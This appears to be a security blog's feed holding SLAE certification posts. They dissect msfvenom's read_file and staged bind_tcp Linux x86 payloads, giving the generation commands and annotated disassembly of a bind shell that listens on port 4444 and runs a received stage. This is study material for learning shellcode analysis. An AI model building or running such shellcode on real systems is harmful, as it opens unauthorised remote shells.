<p>Well, SLAE has finally come to an end for me. In all honesty, this was a fantastic course, and I’ve learned so much from it. If you’re thinking of taking it, or you’re thinking of taking your OSCE, but aren’t sure if you’re ready, I absolutely recommend SLAE! <strong><em>SPOILER ALERT</em></strong>, I passed my OSCE on the first try with 12 hours to spare, and I 100% believe that I wouldn’t have been able to do it if I had not taken SLAE first. It’s been a great way of familiarizing myself with the concepts and fundamentals of assembly in a way that I haven’t explored before. Anyways, if you’re still with me, thanks for reading along! And until next time, happy hacking!</p>

<h6 id="slae-exam-statement">SLAE Exam Statement</h6>

<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</p>

<p>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</p>

<p>Student ID: SLAE-1158</p>]]></content><author><name>Adam Brown</name></author><category term="Security" /><category term="slae" /><category term="shell" /><category term="assembly" /><category term="programming" /><summary type="html"><![CDATA[Today we’re throwing down the landing gear and finishing up with SLAE! It’s been a great ride and I’ve learned a lot on the journey. With this last assignment the goal is to create a program that encrypts shellcode, and a program that decrypts and runs that shellcode. This would assist if your shellcode was getting flagged, and you weren’t able to bypass the signature with the basic polymorphic techniques covered in assignment 6.]]></summary></entry><entry><title type="html">SLAE Exam 5 Shellcode Analysis - Part 1</title><link href="https://coffeegist.com/security/slae-exam-5-shellcode-analysis-part-1/" rel="alternate" type="text/html" title="SLAE Exam 5 Shellcode Analysis - Part 1" /><published>2018-03-11T00:00:00+00:00</published><updated>2018-03-11T00:00:00+00:00</updated><id>https://coffeegist.com/security/slae-exam-5-shellcode-analysis-part-1</id><content type="html" xml:base="https://coffeegist.com/security/slae-exam-5-shellcode-analysis-part-1/"><![CDATA[<p>Man, I’ve been slacking. It’s currently 8:45PM, I’m sipping on some sweet Colombian medium-roast coffee, and it’s way too late for that. I’ve gotta get this SLAE wrapped up though! So let’s jump into assignment 5, which is all about analyzing third-party shellcode.</p>

<h2 id="problem-statement">Problem Statement</h2>

<ul>
  <li>Take up at least 3 shellcode samples created using Msfpayload for linux/x86</li>
  <li>Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode</li>
  <li>Present your analysis</li>
</ul>

<p>For this assignment, I decided to break the blog post up into 3 separate posts. This will allow us to dive into each of the msfvenom payloads, while not causing an information overload on one monolithic page! The first payload we will research, will be <code class="language-plaintext highlighter-rouge">linux/x86/read_file</code>.</p>

<h4 id="generating-the-files">Generating the Files</h4>

<p>If we want to analyze one of these payloads, there are two things we need to do. The first is to generate the payload using <em>msfvenom</em>. Once we have our payload in it’s raw form (shellcode), we can use <em>ndisasm</em> to do our analysis. I chose <em>ndisasm</em> because this is the only analysis option given that doesn’t execute any of the code to be analyzed (simulated or not).</p>

<p>To accomplish these two tasks, I used the following commands:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@kali:~/courses/slae/exam/assignment5# msfvenom <span class="nt">-p</span> linux/x86/read_file <span class="nv">PATH</span><span class="o">=</span>/etc/motd <span class="nt">-a</span> x86 <span class="nt">--platform</span> linux <span class="o">&gt;</span> read_file.raw

root@kali:~/courses/slae/exam/assignment5# ndisasm <span class="nt">-b</span> 32 read_file.raw <span class="o">&gt;</span> read_file_analyzed.nasm
</code></pre></div></div>

<p>Once we have the ndisasm’ed file, we can read the assembly line-by-line to understand what’s happening.</p>

<h2 id="analysis">Analysis</h2>

<p>Let’s go ahead and just start walking through the shellcode generated by ndisasm. I’ll write comments to explain what each instruction is doing, and then summarize the overall purpose of each section.</p>

<h4 id="jump---call---pop">Jump - Call - Pop!</h4>

<p>One of the techniques described in the course is the Jump-Call-Pop technique. This allows shellcoders to easily find the address of a set of data. How? When the call method is executed, it places the address of the instruction directly after the call instruction onto the stack. Then, when whatever method that was called returns, the address of that instruction will be popped into EIP, and code execution will continue where it left off. In our case, instead of waiting until we return from the call, we pop as soon as we call in order to store the address of our target data into a register for immediate use. Let’s take a look at it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000      jmp short 0x38        ; JMP (jmp-call-pop)
</code></pre></div></div>

<p>This is simply telling us to jump to the instruction at position 0x38.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000038      call dword 0x2        ; CALL (jmp-call-pop)

0000003D      das                   ; /
0000003E      gs jz 0xa4            ; etc
00000041      das                   ; /
00000042      insd                  ; m
00000043      outsd                 ; o
00000044      jz 0xaa               ; td
00000046      db 0x00               ; 0x0
</code></pre></div></div>

<p>This is where the magic happens. When the instruction at position 0x38 is executed, it places 0x0000003D onto the stack, and moves to the instruction at position 0x2.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000002      mov eax,0x5           ; SYSCALL(5) // man 2 open
00000007      pop ebx               ; POP (jmp-call-pop) "/etc/motd" stored in ebx from jump-call-pop method
</code></pre></div></div>

<p>The instruction at 0x2 is irrelevant to this discussion, but the very next instruction, <code class="language-plaintext highlighter-rouge">pop ebx</code>, places the address 0x3D into ebx. And if you noticed, 0x3D just happens to contain the string for the file we want to read, <code class="language-plaintext highlighter-rouge">/etc/motd</code>. So now, we have a char* loaded into EBX. Pretty cool!</p>

<h4 id="open-the-target-file">Open the Target File</h4>

<p>The following is the next set of instructions to be executed:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000002      mov eax,0x5           ; SYSCALL(5) // man 2 open
00000007      pop ebx               ; POP (jmp-call-pop) "/etc/motd" stored in ebx from jump-call-pop method
00000008      xor ecx,ecx           ; Clear ECX
0000000A      int 0x80              ; Call OPEN("/etc/motd")
</code></pre></div></div>

<p>We load the value of 0x5 into EAX, pop EBX loads a char* referencing our target file as previously mentioned, and then we clear out ECX. Finally, <code class="language-plaintext highlighter-rouge">int 0x80</code> is our trigger for making a syscall. The number loaded in EAX is mapped to a function, in this case open, and the call <code class="language-plaintext highlighter-rouge">open("/etc/motd", 0)</code> is made. More information on this call can be found in the <code class="language-plaintext highlighter-rouge">man 2 open</code> man page.</p>

<p>If any of this is unclear, it may be a good idea to visit my previous posts on SLAE before continuing.</p>

<h4 id="read-the-target-file">Read the Target File</h4>

<p>Now that we know the general flow, we’ll look at the next function that is called - read:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000000C      mov ebx,eax           ; call to open returns FD, store FD in EBX
0000000E      mov eax,0x3           ; SYSCALL(3) // man 2 read
00000013      mov edi,esp           ; Store stack pointer in EDI
00000015      mov ecx,edi           ; Store stack pointer in ECX (*buf for read destination)
00000017      mov edx,0x1000        ; Number of bytes to read
0000001C      int 0x80              ; Call READ(3, esp, 0x1000)
</code></pre></div></div>

<p>Here we see that the value in EAX, which holds the return value of the open function, is stored in EBX. Open returns a file descriptor for the opened file. So, EBX is holding our target file descriptor. We then move the value 3 into EAX to indicate we want to call the read function. Since read takes a buffer to read data into, we store a pointer to the stack in ECX, and tell the read function to read 0x1000 bytes by storing that value into EDX. This obviously means we will only read the first 0x1000 bytes of our target file (which should be enough).</p>

<h4 id="write-the-results">Write the Results</h4>

<p>Now that we have our file contents loaded into memory, we need to display them to the attacker.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000001E      mov edx,eax           ; Returns number of bytes read
00000020      mov eax,0x4           ; SYSCALL(4) // man 2 write
00000025      mov ebx,0x1           ; FD to write to (stdout)
0000002A      int 0x80              ; Call WRITE(stdout, esp, numberOfBytesRead)
</code></pre></div></div>

<p>Here we see the return value from read, which is the number of bytes read, stored in EDX. We then move the value 4 into EAX to indicate we’d like to call the write function. Storing the value 1 in EBX indicates that we’d like to write to stdout. Finally, ECX still holds the pointer to the location in memory where we read the target file contents to.</p>

<h4 id="exit">Exit</h4>

<p>Now that we’ve opened, read, and written the target file contents, the last thing to do is exit!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000002C      mov eax,0x1           ; SYSCALL(1) // man 2 exit
00000031      mov ebx,0x0           ; return code of 0
00000036      int 0x80              ; Call exit(0)

</code></pre></div></div>

<h2 id="wrapping-up">Wrapping Up</h2>

<p>The <code class="language-plaintext highlighter-rouge">read_file</code> payload was a nice and easy payload to get us started. The following two posts will be much more fun, and we’ll really get to dive into analyzing shellcode even more. Until then, happy hacking!</p>

<h6 id="slae-exam-statement">SLAE Exam Statement</h6>

<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</p>

<p>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</p>

<p>Student ID: SLAE-1158</p>]]></content><author><name>Adam Brown</name></author><category term="Security" /><category term="slae" /><category term="shell" /><category term="assembly" /><category term="programming" /><summary type="html"><![CDATA[Man, I’ve been slacking. It’s currently 8:45PM, I’m sipping on some sweet Colombian medium-roast coffee, and it’s way too late for that. I’ve gotta get this SLAE wrapped up though! So let’s jump into assignment 5, which is all about analyzing third-party shellcode.]]></summary></entry><entry><title type="html">SLAE Exam 5 Shellcode Analysis - Part 2</title><link href="https://coffeegist.com/security/slae-exam-5-shellcode-analysis-part-2/" rel="alternate" type="text/html" title="SLAE Exam 5 Shellcode Analysis - Part 2" /><published>2018-03-11T00:00:00+00:00</published><updated>2018-03-11T00:00:00+00:00</updated><id>https://coffeegist.com/security/slae-exam-5-shellcode-analysis-part-2</id><content type="html" xml:base="https://coffeegist.com/security/slae-exam-5-shellcode-analysis-part-2/"><![CDATA[<p>I’m about to make up for some lost time! Today we’re moving straight into part two of assignment 5. We’ll be following the same basic analysis process, but in this post we’ll be looking at the MSF staged-bind-shell payload. I’m looking forward to seeing how this works, because I’ve used it several times, but never bothered to look deeper. I guess that makes me a bad infosec operator! Anyways, let’s dig in!</p>

<h2 id="problem-statement">Problem Statement</h2>

<ul>
  <li>Take up at least 3 shellcode samples created using Msfpayload for linux/x86</li>
  <li>Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode</li>
  <li>Present your analysis</li>
</ul>

<p>As previously mentioned, we’re looking at msfvenom’s <code class="language-plaintext highlighter-rouge">linux/x86/shell/bind_tcp</code> payload. If you missed <a href="/security/slae-exam-5-shellcode-analysis-part-1/">Part One</a>, I highly recommend going back and reading that. Once you’re all caught up, rejoin us below!</p>

<h4 id="generating-the-files">Generating the Files</h4>

<p>We’ll quickly get started by generating our raw and disassembled files.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@kali:~/courses/slae/exam/assignment5# msfvenom <span class="nt">-p</span> linux/x86/shell/bind_tcp <span class="nt">-a</span> x86 <span class="nt">--platform</span> linux <span class="o">&gt;</span> staged_bind_shell.raw

root@kali:~/courses/slae/exam/assignment5# ndisasm <span class="nt">-b</span> 32 staged_bind_shell.raw <span class="o">&gt;</span> staged_bind_shell_analyzed.nasm
</code></pre></div></div>

<h2 id="analysis">Analysis</h2>

<p>Now let’s dig through the assembly and see what’s really going on. One reference you’ll want to have to follow along are these <a href="http://jkukunas.blogspot.com/2010/05/x86-linux-networking-system-calls.html">socketcall numbers</a> that I came across. Also, full details for any of the functions called can be found on the second man page for each function (eg: man 2 function_name).</p>

<h4 id="declare-memory-region-for-future-use">Declare Memory Region for Future Use</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000      push byte +0x7d           ; push 7d
00000002      pop eax                   ; SYSCALL(125) // man 2 mprotect
00000003      cdq                       ; clear EDX
00000004      mov dl,0x7                ; prot mode, 7 = READ/WRITE/EXEC
00000006      mov ecx,0x1000            ; size of memory will be 0x1000
0000000B      mov ebx,esp               ; pointer to memory will be esp
0000000D      and bx,0xf000             ; align the address in bx to a page (0x1000 is size of a page according to "getconf PAGE_SIZE")
00000012      int 0x80                  ; call mprotect(esp, 0x1000, 7)
</code></pre></div></div>

<p>Here, the payload is going to prepare a section of memory for receiving the shellcode by calling <code class="language-plaintext highlighter-rouge">mprotect</code>. <code class="language-plaintext highlighter-rouge">mprotect</code> changes protection for the calling process’s memory pages specified in the call. In this case, we are setting the memory protection to 7, which is a bitwise-and of the <code class="language-plaintext highlighter-rouge">PROT_READ</code>, <code class="language-plaintext highlighter-rouge">PROT_WRITE</code>, and <code class="language-plaintext highlighter-rouge">PROT_EXEC</code> values.</p>

<h4 id="make-the-socket">Make the Socket</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000014      xor ebx,ebx               ; Clear EBX
00000016      mul ebx                   ; Clear EAX, EDX
00000018      push ebx                  ; Push argument 0x00000000 (protocol of socket)
00000019      inc ebx                   ; socketcall number for SOCKET (found at /usr/include/linux/net.h)
0000001A      push ebx                  ; Push argument 0x00000001 (type of socket) SOCK_STREAM (see Assignment 1 for details)
0000001B      push byte +0x2            ; Push argument 0x2 (domain of socket) AF_INET (see Assignment 1 for details)
0000001D      mov ecx,esp               ; store pointer to [0x2, 0x00000001, 0x00000000] in ecx
0000001F      mov al,0x66               ; SYSCALL(0x66) // man 2 socketcall
00000021      int 0x80                  ; call socketcall(1, esp) -&gt; socket(2, 1, 0) -&gt; socket(AF_INET, SOCK_STREAM, 0) (see Assignment 1 for details)
</code></pre></div></div>

<p>Obviously, we need a socket to operate on. Socketcall is an interesting function, and I recommend reading the manpage for it in order to fully understand what’s happening with it. Basically, the first argument to socketcall will be a number indicating which socket-based function to call, and the second argument will be a pointer to the arguments for that socket-based function. The numbers for the socket-based functions can be found above in the link posted at the beginning of the analysis. The rest of these operations have been covered in previous posts for SLAE, so I will ask that if the comments don’t make sense, please review these earlier posts and then come back.</p>

<h4 id="set-socket-options">Set Socket Options</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000023      push ecx                  ; [*(2, 1, 0)] // current top of stack
00000024      push byte +0x4            ; [4, *(2, 1, 0)] // stack
00000026      push esp                  ; [*(4), 4, *(2, 1, 0)] // stack
00000027      push byte +0x2            ; [2, ...] // stack
00000029      push byte +0x1            ; [1, 2, ...] // stack
0000002B      push eax                  ; [SOCKFD, 1, 2, *(4), 4, *(2, 1, 0)] // stack
0000002C      xchg eax,edi              ; mov SOCKFD into edi, edi into eax
0000002D      mov ecx,esp               ; ecx now points to [SOCKFD, 1, 2, *(4), 4, *(2, 1, 0)]
0000002F      push byte +0xe            ; socketcall number for setsockopt
00000031      pop ebx                   ; EBX holds 0xe
00000032      push byte +0x66           ; prepare for syscall to socketcall
00000034      pop eax                   ; SYSCALL(0x66) // man 2 socketcall // used for next line: /usr/include/asm-generic/socket.h
00000035      int 0x80                  ; call socketcall(14, esp) -&gt; setsockopt(SOCKFD, 1, 2, *4, 4) -&gt; setsockopt(SOCKFD, SOL_SOCKET, SO_REUSEADDR, *4, 4)
</code></pre></div></div>

<p>Some extra options were specified for our socket in this section. This whole section sets the <code class="language-plaintext highlighter-rouge">SO_REUSEADDR</code> option on our socket. This option allows our program to bind to an address which is in a TIME_WAIT state. So, if our shellcode died for some reason, but launched again 10 seconds later, if we didn’t set this option, the bind call would fail because the IP/PORT combo would be in a TIME_WAIT state. With this option, we can re-bind immediately if something bad happens.</p>

<h4 id="bind-socket">Bind Socket</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000037      xchg eax,edi              ; restore SOCKFD into eax
00000038      add esp,byte +0x14        ; remove 0x14 (20) bytes from the stack
0000003B      pop ecx                   ; [*(2, 1, 0)]
0000003C      pop ebx                   ; 0x0000002 // man 2 bind
0000003D      pop esi                   ; 0x0000001 //
0000003E      push edx                  ; [0]
0000003F      push dword 0x5c110002     ; [0x5c110002, 0]
00000044      push byte +0x10           ; [0x10, 0x5c110002, 0]
00000046      push ecx                  ; [*(0x5c110002, 0), 0x10, 0x5c110002, 0]
00000047      push eax                  ; [SOCKFD, *(0x5c110002, 0), 0x10, 0x5c110002, 0]
00000048      mov ecx,esp               ; ecx now points to [SOCKFD, *(0x5c110002, 0), 0x10, 0x5c110002, 0]
0000004A      push byte +0x66           ; prepare for syscall to socketcall
0000004C      pop eax                   ; SYSCALL(0x66) // man 2 socketcall
0000004D      int 0x80                  ; call socketcall(2, esp) -&gt; bind(SOCKFD, *sockaddr, sockaddr_len) -&gt; bind(SOCKFD, {sin_family: 0x0002, sin_port: 0x115c (4444), sin_addr.s_addr: 0x00000000}, 0x10)
</code></pre></div></div>

<p>This section is pretty straightforward. We bind our socket to <code class="language-plaintext highlighter-rouge">0.0.0.0:4444</code>. Review comments for the details on each instruction.</p>

<h4 id="listen-for-connections">Listen for Connections</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000004F      shl ebx,1                 ; shift 2 left once, resulting in 4 // man 2 listen
00000051      mov al,0x66               ; SYSCALL(0x66) // man 2 socketcall
00000053      int 0x80                  ; call socketcall(4, esp) -&gt; listen(SOCKFD, &amp;ecx) // the address of ecx is just the backlog int, no worries
</code></pre></div></div>

<p>Again, this section is very simple. We are just marking the socket as a passive socket that will be used to accept incoming connection requests using <code class="language-plaintext highlighter-rouge">accept</code>.</p>

<h4 id="accept-connections">Accept Connections</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000055      push eax                  ; push return value of 0
00000056      inc ebx                   ; inc ebx to 5 // man 2 accept
00000057      mov al,0x66               ; SYSCALL(0x66) // man 2 socketcall
00000059      mov [ecx+0x4],edx         ; ecx is now pointing to [SOCKFD, 0x00000000, 0x10] // we don't care about sockaddr returning to us
0000005C      int 0x80                  ; call socketcall(5, ecx) -&gt; accept(SOCKFD, NULL, 0x00000010)
</code></pre></div></div>

<p>Yet another simple section, where we instruct our socket to extract the first connection request on the queue of pending connections and return the file descriptor of a newly created socket for that connection.</p>

<h4 id="read-from-new-connection">Read From New Connection</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000005E      xchg eax,ebx              ; move returned NEWFD into ebx, SOCKFD into eax
0000005F      mov dh,0xc                ; edx now 0x00000c00
00000061      mov al,0x3                ; SYSCALL(3) // man read
00000063      int 0x80                  ; read(NEWFD, ECX, 0xC00)
</code></pre></div></div>

<p>Since this is a staged connection, we will read 0xc00 bytes from our new connection, and store the received data onto the stack.</p>

<h4 id="close-stdin">Close STDIN</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000065      xchg ebx,edi              ; store NEWFD in edi
00000067      pop ebx                   ; pop 0x00000000 into ebx
00000068      mov al,0x6                ; SYSCALL(6) // man 2 close
0000006A      int 0x80                  ; close(0) // close stdin
</code></pre></div></div>

<p>This was an interesting section. All it’s doing is closing STDIN, but why? Apparently, this is wise to do so that no data from STDIN can interefere with the shell. Cool find!</p>

<h4 id="jump-to-the-staged-shellcode">Jump to the Staged Shellcode</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000006C      jmp ecx                   ; jump to data received from NEWFD (staged payload)
</code></pre></div></div>

<p>ECX is still pointing to the staged shellcode. So, we are simply passing execution to that newly received shellcode in this final section!</p>

<h2 id="wrapping-up">Wrapping Up</h2>

<p>The <code class="language-plaintext highlighter-rouge">linux/x86/shell/bind_tcp</code> payload was a very cool payload to dissect. I learned a lot about the <code class="language-plaintext highlighter-rouge">socketcall</code> function, as well as how to read data onto the stack and mark the section of code as readable, writable, and executable. Overall, I had a great time doing this assignment and I can’t wait to move on to the commonly used reverse tcp shell! Until then, keep grinding!</p>

<h6 id="slae-exam-statement">SLAE Exam Statement</h6>

<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</p>

<p>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</p>

<p>Student ID: SLAE-1158</p>]]></content><author><name>Adam Brown</name></author><category term="Security" /><category term="slae" /><category term="shell" /><category term="assembly" /><category term="programming" /><summary type="html"><![CDATA[I’m about to make up for some lost time! Today we’re moving straight into part two of assignment 5. We’ll be following the same basic analysis process, but in this post we’ll be looking at the MSF staged-bind-shell payload. I’m looking forward to seeing how this works, because I’ve used it several times, but never bothered to look deeper. I guess that makes me a bad infosec operator! Anyways, let’s dig in!]]></summary></entry></feed>